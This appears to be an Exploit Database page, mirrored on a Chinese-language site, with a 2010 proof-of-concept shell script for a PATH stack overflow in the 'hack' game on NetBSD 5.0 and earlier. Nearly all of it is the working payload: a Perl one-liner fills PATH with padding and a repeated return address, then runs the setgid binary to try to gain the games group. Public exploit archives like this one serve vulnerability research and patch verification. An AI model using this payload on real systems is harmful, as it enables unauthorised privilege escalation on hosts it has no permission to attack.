NetBSD 5.0 – Hack PATH Environment Overflow (PoC)

• Exploit Database
• 14 阅读

• 作者： JMIT
  日期： 2010-05-18
• 类别：

  • dos
  平台：

  • netbsd_x86
• 来源：https://www.exploit-db.com/exploits/12653/

• #!/bin/sh
  
  # NetBSD 5.0 and below Hack PATH Environment overflow proof of concept
  # Successfull Exploitation gives guid 100 (games)
  # Vulnerable Function is in hack.unix.c
  # It is a basic strcpy stack overflow. Such overflows are hard to exploit in
  # NetBSD. If you can exploit it successfully feel free to contact me
  # Original Advisorie: NetBSD-SA2009-007
  
  # Title: hack rougelike game PATH stack overflow
  # Author: JMIT (office@johannesmaria.at)
  # Date: 18. May 2010
  # Software Link: Contained in all NetBSD Distributions as default
  # Version: NetBSD 5.0 and below
  # Tested on: NetBSD 5.0-RELEASE
  # CVE: Not available. See NetBSD-SA2009-007
  # Code:
  
  export PATH=`/usr/pkg/bin/perl -e 'printf("A"x1000);printf("\x41\xb0\xe5\xbf\xbf"x15);'`:/bin:/usr/bin:/usr/sbin:/sbin:/usr/games && hack